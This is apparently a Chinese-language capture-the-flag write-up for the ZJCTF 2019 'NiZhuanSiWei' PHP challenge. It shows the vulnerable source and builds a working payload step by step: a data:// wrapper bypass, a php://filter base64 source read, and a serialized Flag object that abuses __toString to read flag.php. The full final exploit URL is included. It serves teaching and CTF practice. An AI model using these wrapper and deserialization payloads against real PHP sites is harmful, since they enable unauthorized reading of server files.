- 题目:[ZJCTF 2019]NiZhuanSiWei
题目源码:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
三个参数:text,file,password。
if条件需要满足:file_get_contents($text,'r') === "welcome to the zjctf"
file_get_contents()
原型:
file_get_contents(path,include_path,context,start,max_length)作用:把整个文件读入一个字符串中。
读取$text路径的内容为一个字符串,并且要与welcome to the zjctf 相等;
可以通过伪协议来bypass
data://text/plain;welcome to the zjctf
也可以使用base64形式,以绕过某些限制
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
下一个if语句:
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
检查$file是否存在flag字样,没有则继续
包含$file指向的文件,提示有useless.php ,使用php://filter读取源码。 推荐一篇文章
file=php://filter/read=convert.base64-encode/resource=useless.php,
当然还有text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= bypass if。
解base64的useless.php源码:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
include(文件名)可以理解为,将文件的内容插入此处,并且对下面的代码有影响。
所以 我们整理一下:
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password = unserialize($password);
echo $password;
根据提示:flag在flag.php。
漏洞在 魔术函数__toString(), file_get_contents($this->file)将$file参数直接读取,然后输出,然而 $file参数是我们可以控制的。
那么要怎么触发__toString()函数,读取flag呢。
__toString()是快速获取对象的字符串信息的便捷方式,似乎魔术方法都有一个“自动“的特性,如自动获取,自动打印等,__toString()也不例外,它是在直接输出对象引用时自动调用的方法。
当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。
__toString触发条件:
echo ($obj) / print($obj)
打印时会触发
字符串连接时
格式化字符串时
与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
格式化SQL语句,绑定参数时 数组中有字符串时
需要把$password的参数填充为我们构造好的读取flag的class Flag序列化后的字符串,然后$password = unserialize($password)将我们构造好的序列化字符串还原成class Flag对象,在后面的 echo $password; 触发函数__toString,即可读取flag.php。
- 我们已经知道源码了,所以我们可以写PHP脚本跑出序列化后的
class Flag
<?php
class Flag{ //flag.php
public $file = "flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
echo serialize(new Flag);
?>
得到 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
-
当然也可以手动构造:
object 对象,4个字符,名字是
Flag,有一个参数:O:4:"Flag":1;一个有4个字符串的名为
flie的参数:s:4:"file";读写的文件名为
flag.php,共8个字符:s:8:"flag.php"拼接起来:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php"}
现在,我们整理一下:
-
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= -
file=useless.php,将class Flag包含进来。 -
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
浙公网安备 33010602011771号